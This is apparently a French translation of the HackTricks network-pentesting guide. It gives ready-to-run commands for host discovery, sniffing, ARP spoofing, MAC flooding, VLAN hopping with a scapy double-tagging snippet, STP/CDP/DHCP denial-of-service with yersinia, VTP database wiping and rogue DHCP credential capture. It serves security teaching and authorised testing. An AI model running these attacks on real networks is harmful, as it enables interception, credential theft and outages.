hacktricks/generic-methodologies-and-resources/pentesting-network
2023-06-03 13:10:46 +00:00
..
dhcpv6.md Translated to French 2023-06-03 13:10:46 +00:00
eigrp-attacks.md Translated to French 2023-06-03 13:10:46 +00:00
glbp-and-hsrp-attacks.md Translated to French 2023-06-03 13:10:46 +00:00
ids-evasion.md Translated to French 2023-06-03 13:10:46 +00:00
lateral-vlan-segmentation-bypass.md Translated to French 2023-06-03 13:10:46 +00:00
network-protocols-explained-esp.md Translated to French 2023-06-03 13:10:46 +00:00
nmap-summary-esp.md Translated to French 2023-06-03 13:10:46 +00:00
pentesting-ipv6.md Translated to French 2023-06-03 13:10:46 +00:00
README.md Translated to French 2023-06-03 13:10:46 +00:00
spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md Translated to French 2023-06-03 13:10:46 +00:00
spoofing-ssdp-and-upnp-devices.md Translated to French 2023-06-03 13:10:46 +00:00

Pentesting Network

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥


Astuce de prime de bug : inscrivez-vous à Intigriti, une plateforme de prime de bug premium créée par des pirates, pour les pirates ! Rejoignez-nous sur https://go.intigriti.com/hacktricks aujourd'hui et commencez à gagner des primes allant jusqu'à 100 000 $ !

{% embed url="https://go.intigriti.com/hacktricks" %}

Découverte des hôtes depuis l'extérieur

Il s'agit d'une brève section sur la façon de trouver les adresses IP répondant depuis Internet.
Dans cette situation, vous avez une certaine étendue d'adresses IP (peut-être même plusieurs plages) et vous voulez simplement trouver les adresses IP qui répondent.

ICMP

C'est le moyen le plus facile et le plus rapide de découvrir si un hôte est en ligne ou non.
Vous pouvez essayer d'envoyer des paquets ICMP et attendre des réponses. La façon la plus simple est d'envoyer une demande d'écho et d'attendre la réponse. Vous pouvez le faire en utilisant un simple ping ou en utilisant fping pour les plages.
Vous pouvez également utiliser nmap pour envoyer d'autres types de paquets ICMP (cela évitera les filtres pour les demandes-réponses d'écho ICMP courantes).

ping -c 1 199.66.11.4    # 1 echo request to a host
fping -g 199.66.11.0/24  # Send echo requests to ranges
nmap -PEPM -sP -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests

Découverte de port TCP

Il est très courant de constater que tous les types de paquets ICMP sont filtrés. Ensuite, tout ce que vous pouvez faire pour vérifier si un hôte est actif est de chercher des ports ouverts. Chaque hôte a 65535 ports, donc, si vous avez un "grand" périmètre, vous ne pouvez pas tester si chaque port de chaque hôte est ouvert ou non, cela prendra trop de temps.
Ensuite, ce dont vous avez besoin est un scanner de port rapide (masscan) et une liste des ports les plus utilisés :

#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24

Vous pouvez également effectuer cette étape avec nmap, mais c'est plus lent et nmap a parfois des problèmes pour identifier les hôtes actifs.

Découverte de port HTTP

Il s'agit simplement d'une découverte de port TCP utile lorsque vous souhaitez vous concentrer sur la découverte de services HTTP :

masscan -p80,443,8000-8100,8443 199.66.11.0/24

Découverte de port UDP

Vous pouvez également essayer de vérifier si certains ports UDP sont ouverts pour décider si vous devez accorder plus d'attention à un hôte. Comme les services UDP ne répondent généralement pas avec des données à un paquet de sondage UDP vide régulier, il est difficile de dire si un port est filtré ou ouvert. La manière la plus simple de décider est d'envoyer un paquet lié au service en cours d'exécution, et comme vous ne savez pas quel service est en cours d'exécution, vous devriez essayer le plus probable en fonction du numéro de port :

nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable

La ligne nmap proposée précédemment testera les 1000 ports UDP les plus courants sur chaque hôte dans la plage /24, mais cela prendra >20min. Si vous avez besoin de résultats plus rapides, vous pouvez utiliser udp-proto-scanner: ./udp-proto-scanner.pl 199.66.11.53/24. Cela enverra ces sondes UDP sur leur port attendu (pour une plage /24, cela ne prendra qu'une minute) : DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp.

Découverte de port SCTP

#Probably useless, but it's pretty fast, why not trying?
nmap -T4 -sY -n --open -Pn <IP/range>

Pentesting Wifi

Ici, vous pouvez trouver un guide complet de toutes les attaques Wifi connues à l'époque de la rédaction :

{% content-ref url="../pentesting-wifi/" %} pentesting-wifi {% endcontent-ref %}

Découverte d'hôtes de l'intérieur

Si vous êtes à l'intérieur du réseau, l'une des premières choses que vous voudrez faire est de découvrir d'autres hôtes. Selon combien de bruit vous pouvez/voulez faire, différentes actions peuvent être effectuées :

Passif

Vous pouvez utiliser ces outils pour découvrir passivement des hôtes à l'intérieur d'un réseau connecté :

netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
# Bettercap
net.recon on/off #Read local ARP cache periodically
net.show
set net.show.meta true #more info

Actif

Notez que les techniques commentées dans Découverte d'hôtes depuis l'extérieur (Découverte de ports TCP/HTTP/UDP/SCTP) peuvent également être appliquées ici.
Mais, comme vous êtes dans le même réseau que les autres hôtes, vous pouvez faire plus de choses:

#ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs)
netdiscover -r <Network> #ARP requests (Discover IPs)

#NBT discovery
nbtscan -r 192.168.0.1/24 #Search in Domain

# Bettercap
net.probe on/off #Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSD
set net.probe.mdns true/false #Enable mDNS discovery probes (default=true)
set net.probe.nbns true/false #Enable NetBIOS name service discovery probes (default=true)
set net.probe.upnp true/false #Enable UPNP discovery probes (default=true)
set net.probe.wsd true/false #Enable WSD discovery probes (default=true)
set net.probe.throttle 10 #10ms between probes sent (default=10)

#IPv6
alive6 <IFACE> # Send a pingv6 to multicast.

ICMP actif

Notez que les techniques commentées dans Découverte des hôtes depuis l'extérieur (ICMP) peuvent également être appliquées ici.
Mais, comme vous êtes dans le même réseau que les autres hôtes, vous pouvez faire plus de choses :

  • Si vous pinguez une adresse de diffusion de sous-réseau, le ping devrait arriver à chaque hôte et ils pourraient vous répondre : ping -b 10.10.5.255
  • En pingant l'adresse de diffusion du réseau, vous pourriez même trouver des hôtes à l'intérieur d'autres sous-réseaux : ping -b 255.255.255.255
  • Utilisez le drapeau -PEPM de nmap pour effectuer une découverte d'hôte en envoyant des demandes ICMPv4 echo, timestamp et masque de sous-réseau : nmap -PEPM -sP vvv -n 10.12.5.0/24

Wake On Lan

Wake On Lan est utilisé pour allumer les ordinateurs via un message réseau. Le paquet magique utilisé pour allumer l'ordinateur est simplement un paquet où un MAC Dst est fourni et est ensuite répété 16 fois à l'intérieur du même paquet.
Ces paquets sont généralement envoyés dans un ethernet 0x0842 ou dans un paquet UDP sur le port 9.
Si aucun [MAC] n'est fourni, le paquet est envoyé à l'ethernet de diffusion (et le MAC de diffusion sera celui qui sera répété).

# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9

Analyse des hôtes

Une fois que vous avez découvert toutes les adresses IP (externes ou internes) que vous souhaitez analyser en profondeur, différentes actions peuvent être effectuées.

TCP

  • Port ouvert : SYN --> SYN/ACK --> RST
  • Port fermé : SYN --> RST/ACK
  • Port filtré : SYN --> [AUCUNE RÉPONSE]
  • Port filtré : SYN --> message ICMP
# Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP> 
# Nmap fast scan for all the ports
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP> 
# Nmap fast scan for all the ports slower to avoid failures due to -T4
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>

#Bettercap Scan
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000

UDP

Il existe 2 options pour scanner un port UDP :

  • Envoyer un paquet UDP et vérifier la réponse ICMP unreachable si le port est fermé (dans plusieurs cas, ICMP sera filtré et vous ne recevrez aucune information si le port est ouvert ou fermé).
  • Envoyer des datagrammes formatés pour obtenir une réponse d'un service (par exemple, DNS, DHCP, TFTP et autres, comme indiqué dans nmap-payloads). Si vous recevez une réponse, alors le port est ouvert.

Nmap va mélanger les deux options en utilisant "-sV" (les scans UDP sont très lents), mais notez que les scans UDP sont plus lents que les scans TCP :

# Check if any of the most common udp services is running
udp-proto-scanner.pl <IP> 
# Nmap fast check if any of the 100 most common UDP services is running
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
# Nmap check if any of the 100 most common UDP services is running and launch defaults scripts
nmap -sU -sV -sC -n -F -T4 <IP> 
# Nmap "fast" top 1000 UDP ports
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
# You could use nmap to test all the UDP ports, but that will take a lot of time

Scan SCTP

SCTP se situe aux côtés de TCP et UDP. Destiné à fournir le transport de données de téléphonie sur IP, le protocole duplique de nombreuses fonctionnalités de fiabilité du système de signalisation 7 (SS7) et sous-tend une famille de protocoles plus large connue sous le nom de SIGTRAN. SCTP est pris en charge par des systèmes d'exploitation tels que IBM AIX, Oracle Solaris, HP-UX, Linux, Cisco IOS et VxWorks.

Deux scans différents pour SCTP sont proposés par nmap : -sY et -sZ

# Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>

Évasion d'IDS et d'IPS

{% content-ref url="ids-evasion.md" %} ids-evasion.md {% endcontent-ref %}

Plus d'options nmap

{% content-ref url="nmap-summary-esp.md" %} nmap-summary-esp.md {% endcontent-ref %}

Révélation des adresses IP internes

Les routeurs, pare-feux et dispositifs réseau mal configurés répondent parfois aux sondes réseau en utilisant des adresses source non publiques. Vous pouvez utiliser tcpdump pour identifier les paquets reçus à partir d'adresses privées lors des tests. Dans ce cas, l'interface eth2 de Kali Linux est adressable depuis l'Internet public (si vous êtes derrière un NAT d'un pare-feu, ce type de paquets sera probablement filtré).

tcpdump nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64

Sniffing

En sniffant, vous pouvez apprendre des détails sur les plages d'adresses IP, les tailles de sous-réseau, les adresses MAC et les noms d'hôtes en examinant les trames et les paquets capturés. Si le réseau est mal configuré ou si le tissu de commutation est sous stress, les attaquants peuvent capturer du matériel sensible via un sniffing passif du réseau.

Si un réseau Ethernet commuté est correctement configuré, vous ne verrez que des trames de diffusion et du matériel destiné à votre adresse MAC.

TCPDump

sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"

On peut également capturer des paquets à partir d'une machine distante via une session SSH avec Wireshark en tant qu'interface graphique en temps réel.

ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic

Bettercap

Bettercap est un outil de piratage réseau open source qui permet de réaliser des attaques de type Man In The Middle (MITM) sur des réseaux câblés et sans fil. Il permet également de capturer des paquets, de modifier des requêtes et des réponses, d'injecter des scripts JavaScript malveillants et de réaliser des attaques de phishing. Bettercap est un outil très puissant et polyvalent pour les tests de pénétration réseau.

net.sniff on
net.sniff stats
set net.sniff.output sniffed.pcap #Write captured packets to file
set net.sniff.local  #If true it will consider packets from/to this computer, otherwise it will skip them (default=false)
set net.sniff.filter #BPF filter for the sniffer (default=not arp)
set net.sniff.regexp #If set only packets matching this regex will be considered

Wireshark

Évidemment.

Capture de mots de passe

Vous pouvez utiliser des outils tels que https://github.com/lgandx/PCredz pour extraire les informations d'identification à partir d'un fichier pcap ou d'une interface en direct.

Attaques LAN

ARP spoofing

Le spoofing ARP consiste à envoyer des réponses ARP gratuites pour indiquer que l'adresse IP d'une machine a l'adresse MAC de notre appareil. Ensuite, la victime changera la table ARP et contactera notre machine chaque fois qu'elle voudra contacter l'adresse IP usurpée.

Bettercap

arp.spoof on
set arp.spoof.targets <IP> #Specific targets to ARP spoof (default=<entire subnet>)
set arp.spoof.whitelist #Specific targets to skip while spoofing
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)

Arpspoof

Arpspoof est une technique de spoofing ARP qui permet à un attaquant de rediriger le trafic réseau en interceptant les paquets de données échangés entre deux hôtes. Cette technique est souvent utilisée pour mener des attaques de type Man-in-the-Middle (MITM) et permet à l'attaquant de capturer des informations sensibles telles que des identifiants de connexion ou des données de carte de crédit. Arpspoof est une technique couramment utilisée lors des tests de pénétration pour évaluer la sécurité des réseaux.

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1

MAC Flooding - Débordement CAM

Débordez la table CAM du commutateur en envoyant de nombreux paquets avec des adresses MAC source différentes. Lorsque la table CAM est pleine, le commutateur commence à se comporter comme un concentrateur (diffusant tout le trafic).

macof -i <interface>

Dans les commutateurs modernes, cette vulnérabilité a été corrigée.

Attaques VLAN 802.1Q / DTP

Trunking dynamique

DTP (Dynamic Trunking Protocol) est un protocole de couche liaison conçu pour fournir un système de trunking automatique. Avec DTP, les commutateurs décident quel port fonctionnera en mode trunk (Trunk) et lequel ne le sera pas. L'utilisation de DTP indique une mauvaise conception de réseau. Les troncs devraient être strictement là où ils sont nécessaires, et cela devrait être documenté.

Par défaut, tous les ports de commutateur fonctionnent en mode Dynamic Auto. Cela indique que le port de commutateur est en mode d'initiation de trunk à partir du commutateur voisin. Le Pentester doit se connecter physiquement au commutateur et envoyer une trame DTP Desirable, ce qui déclenche le passage du port en mode trunk. L'attaquant peut ensuite énumérer les VLAN en utilisant l'analyse de trame STP et contourner la segmentation VLAN en créant des interfaces virtuelles.

De nombreux commutateurs prennent en charge le protocole Dynamic Trunking (DTP) par défaut, que l'adversaire peut exploiter pour émuler un commutateur et recevoir du trafic sur tous les VLAN. L'outil dtpscan.sh peut renifler une interface et signaler si le commutateur est en mode par défaut, trunk, dynamique, automatique ou d'accès (c'est le seul qui éviterait le saut de VLAN). L'outil indiquera si le commutateur est vulnérable ou non.

S'il était découvert que le réseau est vulnérable, vous pouvez utiliser Yersinia pour lancer une "activation du trunking" en utilisant le protocole "DTP" et vous pourrez voir les paquets réseau de tous les VLAN.

apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali
yersinia -I #Interactive mode
#In interactive mode you will need to select a interface first
#Then, you can select the protocol to attack using letter "g"
#Finally, you can select the attack using letter "x"

yersinia -G #For graphic mode

Pour énumérer les VLAN, il est également possible de générer le cadre DTP Desirable avec le script DTPHijacking.py**. Ne pas interrompre le script sous aucun prétexte. Il injecte DTP Desirable toutes les trois secondes. Les canaux de tronc dynamiquement créés sur le commutateur ne vivent que pendant cinq minutes. Après cinq minutes, le tronc tombe.

sudo python3 DTPHijacking.py --interface eth0

Je voudrais souligner que Access/Desirable (0x03) indique que la trame DTP est de type "Desirable", ce qui indique au port de passer en mode Trunk. Et 802.1Q/802.1Q (0xa5) indique le type d'encapsulation 802.1Q.

En analysant les trames STP, nous apprenons l'existence des VLAN 30 et 60.

Attaquer des VLAN spécifiques

Une fois que vous connaissez les valeurs des ID de VLAN et des adresses IP, vous pouvez configurer une interface virtuelle pour attaquer un VLAN spécifique.
Si DHCP n'est pas disponible, utilisez ifconfig pour définir une adresse IP statique.

root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250
Added VLAN with VID == 250 to IF -:eth1:-
root@kali:~# dhclient eth1.250
Reloading /etc/samba/smb.conf: smbd only.
root@kali:~# ifconfig eth1.250
eth1.250  Link encap:Ethernet  HWaddr 00:0e:c6:f0:29:65
          inet addr:10.121.5.86  Bcast:10.121.5.255  Mask:255.255.255.0
          inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:19 errors:0 dropped:0 overruns:0 frame:0
          TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:2206 (2.1 KiB)  TX bytes:1654 (1.6 KiB)

root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
# Another configuration example
modprobe 8021q
vconfig add eth1 20
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up
# Another configuration example
sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30

Saut de VLAN automatique

L'attaque discutée de Dynamic Trunking et la création d'interfaces virtuelles pour découvrir des hôtes dans d'autres VLAN est automatiquement effectuée par l'outil : https://github.com/nccgroup/vlan-hopping---frogger

Double étiquetage

Si un attaquant connaît la valeur de l'adresse MAC, de l'adresse IP et de l'ID VLAN de l'hôte victime, il pourrait essayer de doubler l'étiquette d'une trame avec son VLAN désigné et le VLAN de la victime et envoyer un paquet. Comme la victime ne pourra pas se connecter à l'attaquant, la meilleure option pour l'attaquant est de communiquer via UDP avec des protocoles qui peuvent effectuer des actions intéressantes (comme SNMP).

Une autre option pour l'attaquant est de lancer un balayage de port TCP en usurpant une adresse IP contrôlée par l'attaquant et accessible par la victime (probablement via internet). Ensuite, l'attaquant pourrait renifler dans le deuxième hôte qui lui appartient s'il reçoit des paquets de la victime.

Pour effectuer cette attaque, vous pouvez utiliser scapy : pip install scapy

from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)

Contournement de segmentation VLAN latérale

Si vous avez accès à un commutateur auquel vous êtes directement connecté, vous avez la possibilité de contourner la segmentation VLAN dans le réseau. Il suffit de passer le port en mode trunk (également appelé trunk), de créer des interfaces virtuelles avec les identifiants des VLAN cibles et de configurer une adresse IP. Vous pouvez essayer de demander l'adresse de manière dynamique (DHCP) ou vous pouvez la configurer de manière statique. Cela dépend du cas.

{% content-ref url="lateral-vlan-segmentation-bypass.md" %} lateral-vlan-segmentation-bypass.md {% endcontent-ref %}

Contournement de VLAN privé de couche 3

Dans les réseaux sans fil pour invités et autres environnements, les paramètres de VLAN privé (également connus sous le nom d'isolation de port) sont utilisés pour empêcher les pairs d'interagir (c'est-à-dire que les clients se connectent à un point d'accès sans fil mais ne peuvent pas s'adresser les uns aux autres). Selon les ACL du réseau (ou leur absence), il peut être possible d'envoyer des paquets IP à un routeur, qui les renvoie ensuite à un pair voisin.

Cette attaque enverra un paquet spécialement conçu à l'adresse IP d'un client mais avec le MAC du routeur. Ensuite, le routeur redirigera le paquet vers le client. Comme dans les attaques de double étiquetage, vous pouvez exploiter cette vulnérabilité en contrôlant un hôte accessible par la victime.

Attaques VTP

VTP (VLAN Trunking Protocol) est un protocole conçu pour gérer de manière centralisée les VLAN. Pour suivre la base de données VLAN actuelle, les commutateurs vérifient des numéros de révision spéciaux. Lorsqu'une mise à jour de la table se produit, le numéro de révision est incrémenté de un. Et si un commutateur détecte une configuration avec un numéro de révision supérieur, il mettra automatiquement à jour sa base de données VLAN.

Rôles dans un domaine VTP

  • Serveur VTP. Un commutateur dans le rôle de serveur VTP peut créer de nouveaux VLAN, supprimer les anciens ou modifier les informations dans les VLAN eux-mêmes. Il génère également des annonces VTP pour les autres membres du domaine.
  • Client VTP. Un commutateur dans ce rôle recevra des annonces VTP spécifiques d'autres commutateurs du domaine pour mettre à jour les bases de données VLAN sur le sien. Les clients sont limités dans leur capacité à créer des VLAN et ne sont même pas autorisés à modifier la configuration VLAN localement. En d'autres termes, accès en lecture seule.
  • Transparent VTP. Dans ce mode, le commutateur ne participe pas aux processus VTP et peut héberger une administration complète et locale de toute la configuration VLAN. Lorsqu'il fonctionne en mode transparent, les commutateurs ne transmettent que des annonces VTP d'autres commutateurs sans affecter leur configuration VLAN. Ces commutateurs auront toujours un numéro de révision de zéro et ne peuvent pas être attaqués.

Types d'annonces

  • Annonce de résumé — l'annonce VTP que le serveur VTP envoie toutes les 300 secondes (5 minutes). Cette annonce stocke le nom de domaine VTP, la version du protocole, l'horodatage et la valeur de hachage de configuration MD5.
  • Annonce de sous-ensemble — il s'agit de l'annonce VTP qui est envoyée chaque fois qu'un changement de configuration VLAN se produit.
  • Demande d'annonce — est une demande du client VTP au serveur VTP pour un message d'annonce de résumé. Généralement envoyé en réponse à un message indiquant qu'un commutateur a détecté une annonce de résumé avec un numéro de révision de configuration supérieur.

VTP ne peut être attaqué que depuis un port trunk, car les annonces VTP ne sont diffusées et reçues que sur les ports trunk. Par conséquent, lorsque vous effectuez un test de pénétration après avoir attaqué DTP, votre prochaine cible pourrait être VTP. Pour attaquer le domaine VTP, vous pouvez utiliser Yersinia pour exécuter une injection VTP qui effacera l'ensemble de la base de données VLAN et paralysera ainsi le réseau.

{% hint style="info" %} Le protocole VTP a jusqu'à trois versions. Dans ce post, l'attaque est dirigée contre la première version, VTPv1. {% endhint %}

yersinia -G #For graphic mode

Pour effacer l'intégralité de la base de données VLAN, sélectionnez l'option supprimer tous les VLAN VTP.

Attaques STP

Si vous ne pouvez pas capturer de trames BPDU sur vos interfaces, il est peu probable que vous réussissiez une attaque STP.

STP BPDU DoS

En envoyant beaucoup de BPDUs TCP (Notification de changement de topologie) ou Conf (les BPDUs qui sont envoyés lors de la création de la topologie), les commutateurs sont surchargés et cessent de fonctionner correctement.

yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing

Attaque STP TCP

Lorsqu'un paquet TCP est envoyé, la table CAM des commutateurs est supprimée au bout de 15 secondes. Ensuite, si vous envoyez continuellement ce type de paquets, la table CAM sera redémarrée en continu (ou toutes les 15 secondes) et lorsqu'elle est redémarrée, le commutateur se comporte comme un concentrateur.

yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen

Attaque de la racine STP

L'attaquant simule le comportement d'un commutateur pour devenir la racine STP du réseau. Ensuite, plus de données passeront par lui. C'est intéressant lorsque vous êtes connecté à deux commutateurs différents.
Cela est fait en envoyant des paquets CONF BPDUs indiquant que la valeur de priorité est inférieure à la priorité réelle du commutateur racine actuel.

yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root

Si l'attaquant est connecté à 2 commutateurs, il peut être la racine de l'arbre et tout le trafic entre ces commutateurs passera par lui (une attaque MITM sera effectuée).

yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages

Attaques CDP

Le protocole CISCO Discovery Protocol est le protocole utilisé par les dispositifs CISCO pour communiquer entre eux, découvrir qui est en vie et quelles sont leurs fonctionnalités.

Collecte d'informations

Par défaut, le CDP envoie des annonces à tous ses ports. Mais que se passe-t-il si un intrus se connecte à un port sur le même commutateur ? En utilisant un sniffer réseau, que ce soit Wireshark, tcpdump ou Yersinia, il pourrait extraire des informations précieuses sur le dispositif lui-même, depuis son modèle jusqu'à la version Cisco IOS. En utilisant ces informations, il sera en mesure d'énumérer la même version de Cisco IOS et de trouver la vulnérabilité, puis de l'exploiter.

Attaque de saturation CDP

Vous pouvez effectuer une attaque DoS sur un commutateur CISCO en épuisant la mémoire du dispositif en simulant de vrais dispositifs CISCO.

sudo yersinia cdp -attack 1 #DoS Attack simulating new CISCO devices
# Or you could use the GUI
sudo yersinia -G

Sélectionnez l'option table de saturation CDP et lancez l'attaque. Le processeur du commutateur sera surchargé, ainsi que la table des voisins CDP, ce qui entraînera une «paralysie du réseau».

Attaque d'usurpation CDP

sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet

Vous pouvez également utiliser scapy. Assurez-vous de l'installer avec le package scapy/contrib.

Attaques VoIP

Bien que destinés à être utilisés par les téléphones VoIP des employés, les dispositifs VoIP modernes sont de plus en plus intégrés aux dispositifs IoT. De nombreux employés peuvent maintenant déverrouiller des portes en utilisant un numéro de téléphone spécial, contrôler le thermostat de la pièce...

L'outil voiphopper imite le comportement d'un téléphone VoIP dans les environnements Cisco, Avaya, Nortel et Alcatel-Lucent. Il découvre automatiquement l'ID VLAN correct pour le réseau vocal en utilisant l'un des protocoles de découverte de périphériques qu'il prend en charge, tels que le protocole de découverte Cisco (CDP), le protocole de configuration dynamique des hôtes (DHCP), la découverte de couche de liaison de protocole de découverte de point de terminaison multimédia (LLDP-MED) et 802.1Q ARP.

VoIP Hopper prend en charge trois modes CDP. Le mode sniff inspecte les paquets réseau et tente de localiser l'ID VLAN. Pour l'utiliser, définissez le paramètre -c sur 0. Le mode spoof génère des paquets personnalisés similaires à ceux qu'un vrai dispositif VoIP transmettrait dans le réseau d'entreprise. Pour l'utiliser, définissez le paramètre -c sur 1. Le mode de spoofing avec un paquet préfabriqué envoie les mêmes paquets qu'un téléphone IP Cisco 7971G-GE. Pour l'utiliser, définissez le paramètre -c sur 2.

Nous utilisons la dernière méthode car c'est l'approche la plus rapide. Le paramètre -i spécifie l'interface réseau de l'attaquant, et le paramètre -E spécifie le nom du dispositif VOIP qui est imité. Nous avons choisi le nom SEP001EEEEEEEEE, qui est compatible avec le format de nommage Cisco pour les téléphones VoIP. Le format se compose du mot "SEP" suivi d'une adresse MAC. Dans les environnements d'entreprise, vous pouvez imiter un dispositif VoIP existant en regardant l'étiquette MAC à l'arrière du téléphone ; en appuyant sur le bouton Paramètres et en sélectionnant l'option Informations sur le modèle sur l'écran d'affichage du téléphone ; ou en attachant le câble Ethernet du dispositif VoIP à votre ordinateur portable et en observant les demandes CDP du dispositif à l'aide de Wireshark.

voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2

Si l'outil s'exécute avec succès, le réseau VLAN attribuera une adresse IPv4 à l'appareil de l'attaquant.

Attaques DHCP

Énumération

nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Pre-scan script results:
| broadcast-dhcp-discover: 
|   Response 1 of 1: 
|     IP Offered: 192.168.1.250
|     DHCP Message Type: DHCPOFFER
|     Server Identifier: 192.168.1.1
|     IP Address Lease Time: 1m00s
|     Subnet Mask: 255.255.255.0
|     Router: 192.168.1.1
|     Domain Name Server: 192.168.1.1
|_    Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds

DoS

Il existe deux types de DoS qui peuvent être effectués contre les serveurs DHCP. Le premier consiste à simuler suffisamment de faux hôtes pour utiliser toutes les adresses IP possibles.
Cette attaque ne fonctionnera que si vous pouvez voir les réponses du serveur DHCP et terminer le protocole (Découverte (Comp) --> Offre (serveur) --> Demande (Comp) --> ACK (serveur)). Par exemple, cela n'est pas possible dans les réseaux Wifi.

Une autre façon de réaliser un DoS DHCP est d'envoyer un paquet DHCP-RELEASE en utilisant comme code source chaque IP possible. Ensuite, le serveur pensera que tout le monde a fini d'utiliser l'IP.

yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed

Une façon plus automatique de faire cela est d'utiliser l'outil DHCPing.

Vous pouvez utiliser les attaques DoS mentionnées pour forcer les clients à obtenir de nouvelles adresses dans l'environnement, et épuiser les serveurs légitimes pour qu'ils deviennent non réactifs. Ainsi, lorsque les légitimes essaient de se reconnecter, vous pouvez leur servir des valeurs malveillantes mentionnées dans l'attaque suivante.

Définir des valeurs malveillantes

Vous pouvez utiliser le script DHCP de Responder (/usr/share/responder/DHCP.py) pour établir un serveur DHCP malveillant. Définir une passerelle malveillante n'est pas idéal, car la connexion détournée est seulement semi-duplex (c'est-à-dire que nous capturons les paquets de sortie du client, mais pas les réponses de la passerelle légitime). Par conséquent, je recommande de définir un serveur DNS ou WPAD malveillant pour capturer le trafic HTTP et les informations d'identification en particulier.

Description Exemple
Notre adresse IP, annoncée comme passerelle -i 10.0.0.100
Le nom de domaine DNS local (facultatif) -d example.org
Adresse IP du routeur/passerelle d'origine -r 10.0.0.1
Adresse IP du serveur DNS primaire -p 10.0.0.100
Adresse IP du serveur DNS secondaire (facultatif) -s 10.0.0.1
Le masque de sous-réseau du réseau local -n 255.255.255.0
L'interface pour écouter le trafic DHCP -I eth1
Adresse de configuration WPAD (URL) -w “http://10.0.0.100/wpad.dat\n”
Spoof l'adresse IP de la passerelle par défaut -S
Répondre à toutes les demandes DHCP (très bruyant) -R

Attaques EAP

Voici quelques tactiques d'attaque qui peuvent être utilisées contre les implémentations 802.1X :

  • Brute-force actif de mot de passe via EAP
  • Attaque du serveur RADIUS avec un contenu EAP malformé **(exploits)
  • Capture de messages EAP et craquage de mot de passe hors ligne (EAP-MD5 et PEAP)
  • Forcer l'authentification EAP-MD5 pour contourner la validation du certificat TLS
